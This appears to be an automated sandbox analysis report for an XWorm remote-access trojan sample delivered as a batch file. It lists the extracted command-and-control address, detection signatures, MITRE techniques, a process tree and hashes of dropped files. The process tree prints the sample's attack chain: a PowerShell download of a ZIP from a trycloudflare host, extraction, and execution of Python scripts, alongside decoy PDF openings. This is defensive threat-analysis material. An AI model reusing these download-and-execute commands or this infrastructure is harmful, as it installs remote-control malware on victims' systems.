xworm | 1bc72757a82f2f9c7bdf9a5d19de6f28c53ba3b4f8eba8dcb5f4590e7affae39

Analysis

max time kernel
300s
max time network
270s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
16/05/2024, 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

basbasbas.bat
Size

1KB
MD5

ddd451685225b980bb2e0789090d3ff5
SHA1

cafbfce346a90aef87782e8ff87a626e5ffa6b05
SHA256

1bc72757a82f2f9c7bdf9a5d19de6f28c53ba3b4f8eba8dcb5f4590e7affae39
SHA512

78e4e8724522abe7170f2e26143fc72cd632eb23b8ba6499558ab1c37e430a53d4f37aeec9f93b6fb465c84e5a476057178ceb6f7f3c728c5c4c21dced02f0da

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

freshinxworm.ddns.net:7000

Mutex

gqDWp48TjRIAdwF2

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/3392-15322-0x00000231D2770000-0x00000231D277E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2260 created 3488	2260	python.exe	56

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
18	3752	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3752	powershell.exe
3720	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3752	python.exe
2260	python.exe

Loads dropped DLL 8 IoCs

pid	Process
3752	python.exe
3752	python.exe
2260	python.exe
2260	python.exe
2260	python.exe
2260	python.exe
2260	python.exe
2260	python.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1816	timeout.exe
4868	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3752	powershell.exe
3752	powershell.exe
4548	msedge.exe
4548	msedge.exe
3572	msedge.exe
3572	msedge.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
2260	python.exe
3392	notepad.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
2260	python.exe
3572	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	3392	notepad.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3392	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 3572	4964	cmd.exe	84
PID 4964 wrote to memory of 3572	4964	cmd.exe	84
PID 4964 wrote to memory of 1816	4964	cmd.exe	86
PID 4964 wrote to memory of 1816	4964	cmd.exe	86
PID 3572 wrote to memory of 2252	3572	msedge.exe	87
PID 3572 wrote to memory of 2252	3572	msedge.exe	87
PID 4964 wrote to memory of 3752	4964	cmd.exe	88
PID 4964 wrote to memory of 3752	4964	cmd.exe	88
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4676	3572	msedge.exe	89
PID 3572 wrote to memory of 4548	3572	msedge.exe	90
PID 3572 wrote to memory of 4548	3572	msedge.exe	90
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91
PID 3572 wrote to memory of 4472	3572	msedge.exe	91

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\basbasbas.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://climb-items-macedonia-hometown.trycloudflare.com/a.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffad9b46f8,0x7fffad9b4708,0x7fffad9b4718
      4⤵
      PID:2252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
      4⤵
      PID:4676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2792 /prefetch:8
      4⤵
      PID:4472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
      4⤵
      PID:2220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2128 /prefetch:1
      4⤵
      PID:2128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
      4⤵
      PID:2704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:1
      4⤵
      PID:4700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1048 /prefetch:1
      4⤵
      PID:1668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 /prefetch:8
      4⤵
      PID:1576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 /prefetch:8
      4⤵
      PID:4188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
      4⤵
      PID:3628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
      4⤵
      PID:2836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,16111566041029422294,10530062333701797853,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4728 /prefetch:1
      4⤵
      PID:4724
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:1816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://climb-items-macedonia-hometown.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\Admin\Downloads\qfv0ao.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3720
- - C:\Users\Admin\Downloads\qfv0ao\App\Python\python.exe
    python.exe vue.py
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3752
- - C:\Users\Admin\Downloads\qfv0ao\App\Python\python.exe
    python.exe new.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:2260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://climb-items-macedonia-hometown.trycloudflare.com/b.pdf
    3⤵
    PID:3680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffad9b46f8,0x7fffad9b4708,0x7fffad9b4718
      4⤵
      PID:2060
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:4868
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3392

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4340

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a8e767fd33edd97d306efb6905f93252

SHA1
a6f80ace2b57599f64b0ae3c7381f34e9456f9d3

SHA256
c8077a9fc79e2691ef321d556c4ce9933ca0570f2bbaa32fa32999dfd5f908bb

SHA512
07b748582fe222795bce74919aa06e9a09025c14493edb6f3b1f112d9a97ac2225fe0904cac9adf2a62c98c42f7877076e409803014f0afd395f4cc8be207241

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
439b5e04ca18c7fb02cf406e6eb24167

SHA1
e0c5bb6216903934726e3570b7d63295b9d28987

SHA256
247d0658695a1eb44924a32363906e37e9864ba742fe35362a71f3a520ad2654

SHA512
d0241e397060eebd4535197de4f1ae925aa88ae413a3a9ded6e856b356c4324dfd45dddfef9a536f04e4a258e8fe5dc1586d92d1d56b649f75ded8eddeb1f3e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
216B

MD5
2f8041029985f7fe5ae3d5540fa65086

SHA1
9baf66cc892ce06ceac6613df84751683b78fe10

SHA256
e4e84e7971bb9ab6523540755e5fe40be976c0848b32b44d84a9872ab0bc153c

SHA512
b3235ff2459f0ac94c340db27bb523294995d458c30ef21be85fa4f4f860f6c9fc9d203d8b8e5fc2024d7cdabda7e4f4caa95699c36d40863a549805fec2fbc8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
1fb2265b17156d14b968479b6c41f4e0

SHA1
a7c4653c0ee4c40463c79e7abcfb3dbc59ddc85c

SHA256
0ce5bdcc1004e54974a4484e238fe577c4e214fcb7ad6e5ef4ff1d349fe46c18

SHA512
436b311345f3dd4b16ea0614dee7c35acea14874babbd8ce47aaa3cf625a067d2970884236bdfa802649254e347a8f976e6e9333998af3a82b159d2125e90806

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
e0bc5482337ea08e93b69acec426b24a

SHA1
ed629f8a4db5ed19cc26004a0a494418474ef74d

SHA256
7433d255605ed2900f405a638fb2de145ff6ffe9c15f60331bc5626904fb1505

SHA512
2f3b4a703d3ccdc7c027ae67460ec95387da4cd85f65601bf9516f15910ab30740b02f24da92ae5b208b120134df2a284b127499a0f8f8446c064b61de4064a3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
e5c766c39ffb303cc8e17b7666bbc750

SHA1
08b9808ff6faeec074b2a8be027d5b90ea0ece5f

SHA256
0f6882439bf744fc7b2b5cfe9eec1a165e1f6848dac7a3ce2c1ef4969f4d6ebf

SHA512
f996c2b41aacf670f39d52bb08f8b987848ceb55a81b7e2a4db71df74f1595cbb11d972f65286c9b06191ad6042c3260c50f5d1a071d5b23665292a2d7132909

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
723c1e4a726c3e39020450ebc9a3f0c7

SHA1
e7af513b234ea6ed8517d93532f7c1a7fe37205c

SHA256
ab29255f2799eb2a65c742f496e16dad2a6c1eda5333847775eecb88c3b338d4

SHA512
268f26b80ee1a622bda2654630a41c55a5f30be4174eebf37a2ec2073e5778e9440df21844d92e1f2f5137a53399389239552b99a9d5747e96b8800e09df9a4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d05f0de005303c188bc415827550d910

SHA1
2f0a5721d5b9d9693d3b227261131e5623fd08c5

SHA256
da4a40d26e17b860a8619b57934a5f5eb1ecf5da2c10d91db7ae533318f5828f

SHA512
3c664d40ea3ce0d3a880f50a217a91adde3c97217773fc67a735255677b11f194e484aec7d85c4abc7625ba5160d585eee97f881aeb72d7e843eb0d730f80a0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zyxtn0lj.kla.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\django-stubs\django-stubs\contrib\flatpages\urls.pyi

Filesize
59B

MD5
72baef07657af40bbb9421362b0c67cd

SHA1
e0e802c0e54240712b8bd8418627b2ffa123bc94

SHA256
a0869d2c9451a944b87f059edc5d93c1d415888b98b9247b8aeb5489d9dcba7d

SHA512
32e4cddc4df9759ad46f617cd69b2adc130a918cac4f588cf563d8e3c298ece3a5bb0a9dc9a082cbdc015f2789336a6e67d545603ea69477fc5de28256fd6d06

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\django-stubs\django-stubs\core\mail\backends\filebased.pyi

Filesize
103B

MD5
7f6526c1bbcb2aa7ba6a8cde268765bc

SHA1
cfc87c1fd110239d47886e0c5ebcad54bd453bbe

SHA256
ae9de027f591acfedc0ba387099c4398c0841a9c126535d313ffbdb18184eea0

SHA512
3c6f26b5f0ab2bc22e72e116ffe28624e5d971a86b9d85e5f733844827e784b8349c46fa46ca5390bc972607b7fb5b37a6fb47b410e105f02b147dfe77a737c7

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\django-stubs\django-stubs\core\management\commands\testserver.pyi

Filesize
85B

MD5
6b8cad3305cef8186496283d80f5ea37

SHA1
418009700ba673f4aebf49db46d1f44384d4f8f8

SHA256
1a4fa10dd76be871ebe4f02bc9ccf70eaa1e178efa5291aa6aff471a9fcdb272

SHA512
e06ba45ea1bd65681f3be4a85118d4bc75c961e82dc6d319c6a2b1a7a39533732fe7c5d152ea978e0dd62c1ea520eb62c9322eaed82ca5588495fa1465f71555

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\stdlib\2and3\ntpath.pyi

Filesize
6KB

MD5
05fbc4e476029d491dbc02a9522c6e04

SHA1
061fe610c5eb467fa554f8dd131c5725c84fe14d

SHA256
2875c0ab8ecc2fc5d7a6192bc2f35a5161193e747825e1081ef33f9b10a5459c

SHA512
6afd03793a31a76a0b51da83e6c1037e536025ecfaf1e0a752ce4ca471100e29c2a2ff5c54a0cec07c64653b83fdac9c0d6d78b55c50c685d8452f900896226b

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\third_party\2and3\cryptography\hazmat\__init__.pyi

Filesize
63B

MD5
84a27291937d76e46b277653002601f2

SHA1
fe60efb40aeeee2998bb07245d4f9571ad08825f

SHA256
ddf071712a6926be84384714a23bdf946dc47a083b96fd90a7474d41020bacfe

SHA512
e489e83fd33fdc8ba88954725f79c2132bc4162ba713c72b190b790b4a368e3ceb024d7b8bceec4544123a5435fdfd987876f1b2542da06cba899f5ac72945be

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\third_party\3\docutils\parsers\__init__.pyi

Filesize
58B

MD5
ca0671203ef640e39118196d5af0987c

SHA1
0567568d191018e003ce5866f33ac4725ac30304

SHA256
0505540b357c942ca59e62c2b67374633fedb65ab2cdc2dcf81671d8a3d73f33

SHA512
322fe9032e26defb6abf33051093924a4fa9beff5a5e619acdd3f0da975fadb81388a50d6e037798a73896762d1ab2ce0e189c4aae2b580988fa4a3229f5712b

Download Submit
C:\Users\Admin\Downloads\qfv0ao\App\PyScripter\Lib\Lsp\jls\jedilsp\jedi\third_party\typeshed\third_party\3\six\moves\SimpleHTTPServer.pyi

Filesize
26B

